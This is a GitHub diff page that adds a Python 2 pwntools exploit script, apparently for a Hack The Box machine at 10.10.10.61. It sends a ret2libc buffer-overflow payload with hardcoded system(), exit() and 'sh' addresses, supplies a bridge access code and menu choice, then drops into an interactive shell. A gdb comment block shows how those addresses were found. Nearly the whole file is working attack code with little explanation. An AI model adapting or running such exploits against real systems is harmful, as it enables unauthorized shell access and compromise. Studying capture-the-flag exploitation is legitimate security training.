File tree Expand file tree Collapse file tree 1 file changed +53
-0
lines changed
Expand file tree Collapse file tree 1 file changed +53
-0
lines changed Original file line number Diff line number Diff line change 1+ #!/usr/bin/env python2
2+ # Author: Alamot
3+ import time
4+ import struct
5+ from pwn import *
6+ from subprocess import call
7+
8+ #context(os = 'linux', arch = 'i386')
9+ DEBUG = False
10+ RHOST = "10.10.10.61"
11+ RPORT = 32812
12+
13+ if DEBUG :
14+ context .log_level = 'debug'
15+ else :
16+ context .log_level = 'info'
17+
18+ def conv (num ):
19+ return struct .pack ("<I" ,num )
20+
21+ payload = "A" * 212
22+ payload += conv (0xf7e4c060 ) # system()
23+ payload += conv (0xf7e3faf0 ) # exit()
24+ payload += conv (0xf7f6ddd5 ) # 'sh'
25+
26+ r = remote (RHOST , RPORT )
27+ r .recvuntil ("Enter Bridge Access Code: " )
28+ r .sendline ("picarda1" )
29+ r .recvuntil ("Waiting for input: " )
30+ r .sendline ("4" )
31+ r .recvuntil ("Enter Security Override:" )
32+ r .sendline (payload )
33+ r .interactive ()
34+
35+ '''
36+ *** WE DO NOT WANT NULL BYTES (00) OR NEWLINES (0a) ***
37+
38+ (gdb) print &system
39+ $1 = (<text variable, no debug info> *) 0xf7e4c060 <system>
40+
41+ (gdb) print &exit
42+ $2 = (<text variable, no debug info> *) 0xf7e3faf0 <exit>
43+
44+ find &system,+9999999,"/bin/sh"
45+ 0xf7f70a0f #<---- THIS NOT GOOD. IT HAS NEWLINE (0a) #
46+
47+ # So we search for plain 'sh'
48+ (gdb) find &system,+9999999,"sh"
49+ 0xf7f6ddd5
50+ 0xf7f6e7e1
51+ 0xf7f70a14
52+ 0xf7f72582
53+ '''
You can’t perform that action at this time.
0 commit comments